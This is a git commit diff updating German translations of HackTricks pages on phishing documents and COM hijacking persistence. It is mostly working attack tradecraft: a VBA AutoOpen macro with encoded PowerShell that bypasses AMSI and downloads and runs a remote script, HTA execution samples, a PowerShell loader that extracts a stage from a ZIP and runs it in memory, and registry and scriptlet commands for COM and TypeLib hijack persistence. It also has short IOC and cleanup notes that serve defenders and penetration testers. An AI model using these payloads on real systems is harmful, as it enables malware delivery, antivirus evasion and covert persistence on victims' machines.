Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:47:07 +00:00
parent b795e5b351
commit 2c071baaa4
2 changed files with 156 additions and 47 deletions

View File

@ -1,40 +1,40 @@
# Phishing-Dateien & Dokumente # Phishing Dateien & Dokumente
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Office-Dokumente ## Office-Dokumente
Microsoft Word führt eine Datenvalidierung der Datei durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung der Datenstruktur gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet. Microsoft Word führt eine Validierung der Datei-Daten durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstrukturen gemäß dem OfficeOpenXML-Standard. Falls während der Identifikation der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateierweiterung ändert und dennoch die Fähigkeit zur Ausführung von Makros beibehält.\ In der Regel verwenden Word-Dateien mit Makros die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und dennoch ihre Fähigkeit zur Ausführung von Makros beizubehalten.\
Zum Beispiel unterstützt eine RTF-Datei aus Designgründen keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word verarbeitet und kann Makros ausführen.\ Zum Beispiel unterstützt eine RTF-Datei von vornherein keine Makros, aber eine als RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\
Die gleichen internen Abläufe und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint usw.). Die gleichen Interna und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint etc.).
Sie können den folgenden Befehl verwenden, um zu überprüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden: Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von bestimmten Office-Programmen ausgeführt werden:
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (Datei Optionen Add-Ins Verwalten: Vorlagen Gehe zu), können ebenfalls Makros „ausführen“. DOCX-Dateien, die auf eine Remote-Vorlage verweisen (File Options Add-ins Manage: Templates Go) und macros enthalten, können macros ebenfalls “ausführen”.
### Externe Bildladung ### Externes Laden von Bildern
Gehe zu: _Einfügen --> Schnellbausteine --> Feld_\ Gehe zu: _Insert --> Quick Parts --> Field_\
_**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://\<ip>/whatever _**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>) ![](<../../images/image (155).png>)
### Makros Backdoor ### Macros Backdoor
Es ist möglich, Makros zu verwenden, um beliebigen Code aus dem Dokument auszuführen. Es ist möglich, macros zu verwenden, um arbitrary code aus dem Dokument auszuführen.
#### Autoload-Funktionen #### Autoload-Funktionen
Je häufiger sie sind, desto wahrscheinlicher wird sie die AV erkennen. Je häufiger sie sind, desto wahrscheinlicher erkennt AV sie.
- AutoOpen() - AutoOpen()
- Document_Open() - Document_Open()
#### Makros Codebeispiele #### Macros Code Examples
```vba ```vba
Sub AutoOpen() Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated> proc.Create "powershell <beacon line generated>
``` ```
#### Manuell Metadaten entfernen #### Metadaten manuell entfernen
Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, was den Dokumentinspektor öffnet. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**. Gehe zu **Datei > Info > Dokument prüfen > Dokument prüfen**, wodurch der Dokumentinspektor geöffnet wird. Klicke **Prüfen** und dann **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
#### Doc-Erweiterung #### DOC-Erweiterung
Wenn du fertig bist, wähle im Dropdown-Menü **Speichern unter** den Typ **Word 97-2003 `.doc`**.\ Wenn fertig, wähle das Dropdown **Speichern als Typ**, ändere das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z. B. hat das Miniaturansichts-Icon ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**. Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der macro-enabled **`.docm`** Erweiterung gibt (z. B. das Thumbnail-Symbol hat ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` Erweiterung der beste Kompromiss**.
#### Bösartige Makro-Generatoren #### Malicious Macros Generators
- MacOS - MacOS
- [**macphish**](https://github.com/cldrn/macphish) - [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein
## HTA-Dateien ## HTA-Dateien
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Es generiert die Benutzeroberfläche und wird als "vollständig vertrauenswürdige" Anwendung ausgeführt, ohne die Einschränkungen des Sicherheitsmodells eines Browsers. Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und wird als eine "voll vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
Eine HTA wird mit **`mshta.exe`** ausgeführt, das typischerweise **zusammen mit** **Internet Explorer** **installiert** wird, wodurch **`mshta` von IE abhängig ist**. Wenn es deinstalliert wurde, können HTAs nicht ausgeführt werden. Eine HTA wird mittels **`mshta.exe`** ausgeführt, das typischerweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht mehr ausgeführt werden.
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -138,11 +138,11 @@ var_func
self.close self.close
</script> </script>
``` ```
## NTLM-Authentifizierung erzwingen ## Erzwingen von NTLM-Authentifizierung
Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung "aus der Ferne" zu erzwingen**, zum Beispiel könnten Sie **unsichtbare Bilder** in E-Mails oder HTML hinzufügen, auf die der Benutzer zugreifen wird (sogar HTTP MitM?). Oder senden Sie dem Opfer die **Adresse von Dateien**, die eine **Authentifizierung** nur durch **Öffnen des Ordners** **auslösen**. Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** zu erzwingen, zum Beispiel durch das Einfügen von **unsichtbaren Bildern** in E-Mails oder HTML, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder indem man dem Opfer die **Adresse von Dateien** schickt, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** **auslösen**.
**Überprüfen Sie diese Ideen und mehr auf den folgenden Seiten:** **Siehe diese Ideen und mehr auf den folgenden Seiten:**
{{#ref}} {{#ref}}
@ -154,11 +154,62 @@ Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung "aus der Ferne" zu erzw
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}} {{#endref}}
### NTLM-Relay ### NTLM Relay
Vergessen Sie nicht, dass Sie nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM-Relay-Angriffe** **durchführen** können: Nicht vergessen: man kann nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM relay attacks** durchführen:
- [**NTLM-Relay-Angriffe**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM-Relay zu Zertifikaten)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIP nach einem eindeutigen Marker gespeichert ist, und die .lnk diesen vollständig im Speicher extrahiert und ausführt.
Typischer Ablauf, implementiert durch den .lnk PowerShell-Einzeiler:
1) Finde das originale ZIP in gängigen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
2) Lese die ZIP-Bytes und finde einen hardcodierten Marker (z.B. xFIQCV). Alles nach dem Marker ist das eingebettete PowerShell-Payload.
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken.
4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Die nächste Stufe deobfuskieren (z.B. alle #-Zeichen entfernen) und sie im Speicher ausführen.
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe zu extrahieren und auszuführen:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Hinweise
- Die Zustellung missbraucht häufig vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads einschränken (liefert harmlose ZIPs basierend auf IP/UA).
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Festplattenartefakte zu minimieren.
Persistence, die in derselben Kette eingesetzt wird
- COM TypeLib hijacking des Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, den payload automatisch neu startet. Details und einsatzbereite Befehle hier:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP-Dateien, die den ASCII marker string (z. B. xFIQCV) enthalten, der an die Archivdaten angehängt wurde.
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Köderdokument zu öffnen.
- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet werden.
## Referenzen
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
### Suche nach nicht existierenden COM-Komponenten ### Suche nach nicht vorhandenen COM-Komponenten
Da die Werte von HKCU von den Benutzern geändert werden können, könnte **COM Hijacking** als **persistente Mechanismen** verwendet werden. Mit `procmon` ist es einfach, nach COM-Registrierungen zu suchen, die nicht existieren und die ein Angreifer erstellen könnte, um persistente Zugriffe zu ermöglichen. Filter: Da die Werte von HKCU vom Benutzer geändert werden können, kann **COM Hijacking** als **persistenter Mechanismus** genutzt werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer zur Persistenz anlegen könnte. Filter:
- **RegOpenKey**-Operationen. - **RegOpenKey** Operationen.
- wo das _Ergebnis_ **NAME NOT FOUND** ist. - wo der _Result_ **NAME NOT FOUND** ist.
- und der _Pfad_ mit **InprocServer32** endet. - und der _Path_ mit **InprocServer32** endet.
Sobald Sie entschieden haben, welche nicht existierende COM-Komponente Sie nachahmen möchten, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie sich entscheiden, eine COM-Komponente nachzuahmen, die alle paar Sekunden geladen wird, da dies übertrieben sein könnte._ Sobald Sie entschieden haben, welchen nicht vorhandenen COM Sie nachahmen wollen, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie einen COM nachahmen, der alle paar Sekunden geladen wird, da das übertrieben sein könnte._
```bash ```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
``` ```
### Hijackbare Task Scheduler COM-Komponenten ### Übernehmbare Task Scheduler COM-Komponenten
Windows-Aufgaben verwenden benutzerdefinierte Trigger, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden. Windows Tasks verwenden Custom Triggers, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
<pre class="language-powershell"><code class="lang-powershell"># Zeige COM CLSIDs <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask $Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup) if ($Task.Principal.GroupId -eq $usersGroup)
{ {
Write-Host "Aufgabenname: " $Task.TaskName Write-Host "Task Name: " $Task.TaskName
Write-Host "Aufgabenpfad: " $Task.TaskPath Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host Write-Host
} }
@ -43,15 +43,15 @@ Write-Host
} }
} }
# Beispielausgabe: # Sample Output:
<strong># Aufgabenname: Beispiel <strong># Task Name: Example
</strong># Aufgabenpfad: \Microsoft\Windows\Beispiel\ </strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1} # CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [mehr wie das vorherige...]</code></pre> # [more like the previous one...]</code></pre>
Wenn Sie die Ausgabe überprüfen, können Sie eine auswählen, die **jedes Mal ausgeführt wird, wenn sich ein Benutzer anmeldet**. Anhand der Ausgabe kannst du beispielsweise einen auswählen, der **bei jeder Benutzeranmeldung** ausgeführt wird.
Jetzt suchen Sie nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU. Normalerweise werden Sie feststellen, dass der Wert in HKCU nicht existiert. Wenn du nun nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert.
```bash ```bash
# Exists in HKCR\CLSID\ # Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
``` ```
Dann können Sie einfach den HKCU-Eintrag erstellen, und jedes Mal, wenn der Benutzer sich anmeldet, wird Ihr Backdoor aktiviert. Dann kannst du einfach den HKCU-Eintrag erstellen und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgeführt.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) definieren COM-Interfaces und werden über `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS auch die zugehörige TypeLib laden, indem es Registrierungs-Schlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wird der TypeLib-Pfad durch einen **moniker** ersetzt, z. B. `script:C:\...\evil.sct`, führt Windows das Scriptlet aus, wenn die TypeLib aufgelöst wird was eine stealthy persistence ergibt, die ausgelöst wird, wenn häufig genutzte Komponenten berührt werden.
Dies wurde beim Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`).
### Schritte (PowerShell)
1) Ermittle die TypeLib (LIBID), die von einer häufig genutzten CLSID verwendet wird. Beispiel-CLSID, die oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Weise den pro-Benutzer TypeLib-Pfad auf ein lokales scriptlet mit dem `script:`-Moniker (keine Administratorrechte erforderlich):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Legen Sie eine minimale JScript `.sct` ab, die Ihr primary payload neu startet (z. B. eine `.lnk`, die von der initial chain verwendet wird):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Auslösen Das Öffnen von IE, einer Anwendung, die die WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivitäten laden die TypeLib und führen das scriptlet aus, wodurch deine Kette bei logon/reboot wieder scharf gemacht wird.
Bereinigung
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
Hinweise
- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie zuerst immer die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`.
- Auf 64-bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-bit-Consumer befüllen.
## Quellen
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}